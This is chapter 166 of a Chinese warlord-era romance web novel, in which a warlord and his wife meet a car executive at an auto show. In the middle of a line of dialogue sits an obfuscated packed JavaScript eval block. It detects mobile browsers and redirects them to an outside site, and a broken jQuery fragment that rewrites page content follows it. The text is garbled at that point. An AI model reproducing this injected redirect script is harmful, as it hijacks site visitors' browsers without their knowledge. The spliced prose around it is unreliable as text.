第166章 你以后,少穿这种衣服

作品:《督军小夫人,腰细貌美还勾人

    人群如潮汐般自两边分开。


    江浸月从那头缓步走来。


    一身纯白色的洋装,颜色如月光,如初雪;裙身剪裁自然流畅,勾勒出她纤细的腰身和优美的肩线;鱼尾裙摆随着步伐轻轻摇曳,像海面漾开的雪白涟漪。


    她将一头长发完全绾了起来,露出一截修长的脖颈,没有戴项链,只有耳边坠了一对珍珠耳环,随着她的行走而微微晃动。


    像,一朵白玫瑰。


    美得那么夺目,却又那么简约,那么清冷,叫人不敢随意攀折。


    江浸月只是这样走过来,明明没有造成多大动静,但展厅里几乎所有人的目光都投向了她。


    有惊叹,有惊艳,也有探究和好奇,又在得知她身份后,面露恭敬。


    江浸月神色淡然,不在乎别人怎么看待她,目光径直越过人群,与晏山青隔空相触。


    然后就朝他走去。


    晏山青站在原地,等她朝自己而来。


    他见过她穿各色各样的旗袍的样子,都很合适,美得恰到好处,像从旧画里走出来的仕女。


    他以为那就是最好看的她,现在才知道,她穿洋装,更是一副……仙子模样。


    江浸月走到他面前,自然地喊:“督军。”


    晏山青垂眼看她,声音比平时低了一些:“以后。”


    “嗯?”


    他的目光从她的眉眼流连到她的脖颈,又移回她的眼睛,一字一顿道,“少穿这种衣服。”


    江浸月不解:“不好看吗?”


    “好看。”


    晏山青说,“太好看了。”


    江浸月眨了眨眼,然后,唇角的弧度压都压不住,弯成了月牙:“谢督军夸奖。”


    “……”


    苏拾卷寻思自己也不是透明人啊,这对夫妻是怎么做到,当着他的面儿,腻歪成这样的?


    太~好~看~了~苏拾卷被晏山青的话弄出一身鸡皮疙瘩。


    色令智昏啊色令智昏。


    这四个字,回去他就请书法大家写出来,裱起来,而后挂在督军的会客厅里!!


    晏山青问:“怎么突然回去换衣服?”


    江浸月言简意赅:“刚才在洗手间,不小心撞到了人,弄脏了衣服。”


    “也太不小心了。”这句话没有任何责备的意思,只是这么一说。


    江浸月微微一笑,正想问他,是否现在去福士汽车的展位?


    却有一道男声凭空插入:“原来是晏夫人。晏先生,晏夫人。”


    江浸月下意识回头,就看到身后站了一个斯文矜贵的男人。


    是……刚才在洗手间撞到的那个人。


    施先生依旧是那身深灰色条纹西装,镜片后的眼睛含着淡淡的笑意。


    他先向江浸月颔首致意,而后对晏山青道:“晏先生勿怪夫人,方才在洗手间是我走得急,不小心撞到夫人,还弄脏夫人的衣裙,都是我的错。”


    “好在夫**度,肯收下我赔的衣裳,也减轻了在下几分愧疚。”


    晏山青眯了一下眼:“原来我夫人身上这条裙子,是施先生送的。”


    这话听着平淡,但江浸月感觉到一种微妙的意味。


    施泊聿似乎也察觉到了,唇角的笑意深了一分:“是,幸好夫人不怪罪。”


    “她收下了,那就是一笔勾销了。施先生不必再介怀。”晏山青淡淡的,“我也没有怪我夫人,施先生不必揽责。”


    江浸月听着他们的对话:“督军认识施先生?”


    晏山青轻轻揽住江浸月的腰:“福士汽车,施泊聿,施先生。”


    江浸月一怔。


    ——他真的是施泊聿?


    刚才听女侍者说“施先生”的时候,她就有点怀疑,没想到真的这么巧,她撞到了晏山青此行最大的目标。


    “晏先生认识在家,是在下的荣幸。”


    施泊聿言语客气,但没有那种下位者的谄媚感,和市井商人的圆滑感,只叫人觉得,他是教养好,才这般礼貌。


    “刚才听说晏先生为夫人一掷千金,买下了戴勒那辆限量款,真是壮举,本想过来同晏先生打招呼,没想到看到了夫人,这才知道,方才在洗手间,冒犯的是晏夫人。”


    苏拾卷融入话题:“那是有缘啊。”


    江浸月则去看晏山青:“督军真的买下那辆车了?”


    晏山青挑眉:“当然。我说了买给你,你以为我是说着玩的?”


    江浸月咬唇,小声道:“那么贵。”


    晏山青声音也低了,像是只说给她一个人听:“你喜欢,这点钱算什么?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188939|194284||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    江浸月没说话了。


    施泊聿将这一幕看在眼里:“晏先生待夫人,真是情深义重。说来惭愧,我方才听说此事,第一反应不是那辆车有多好,而是——晏先生这样大方的主顾,我也想做一做他的生意。”


    他做了个“请”的手势:


    “不知四位是否能赏光,去看看福士的车?给施某一个机会?”


    晏山青搂着江浸月的手不动声色地紧了一下。江浸月垂下眼睫。


    两人此刻心里想的都是——鱼上钩了。


    晏山青说:“施先生盛情邀请,自然要看。”


    施泊聿含笑侧身,引着他们朝展厅东侧走去。


    福士的展台,布置得与品牌的气质如出一辙。


    没有繁复的装饰,也没有张扬的色彩,黑色的展台上静静地陈列着三辆汽车。


    居中的那辆是黑色,线条利落,不似戴勒那般的精致华美,有种历经风霜后的沉稳厚重。


    施泊聿走到车旁,抬手轻轻抚过引擎盖,动作亲昵熟稔,像在介绍一位老友:


    “这是福士今年的新款,六缸引擎,最快能跑到一百二十公里,底盘经过特殊加固,适合复杂路况。”


    “我知道晏先生治下东湖南川两省,境内多山,雨季道路泥泞,对车辆的耐久性和通过性要求极高。福士的车或许不如戴勒那般精致,但若论结实、耐用、适应恶劣环境,在下可以不自谦地说一句,福士不输任何品牌。”


    晏山青没说话,只是绕着车走了一圈,俯身看了看底盘的高度,又拉开驾驶座的门,检视内饰,神情看不出满意与否。


    江浸月站在一旁,目光在施泊聿脸上停留片刻。


    这人说话坦荡,不卑不亢,没有刻意贬低对手,也没有过分自夸,只是在陈述事实,呈现优势,将选择权交给买家。


    这样的谈判风格,其实会比那些巧舌如簧的推销者更难对付——因为他说的八成是真的。


    施泊聿忽然也看向她,江浸月的目光没来得及收回,两人碰了一下。


    “……”


    施泊聿从从容容,朝她微微颔首,镜片后的眼眸含着温和的笑意。


    江浸月便也礼节性地笑了笑。


    心中则想,这人一定不简单。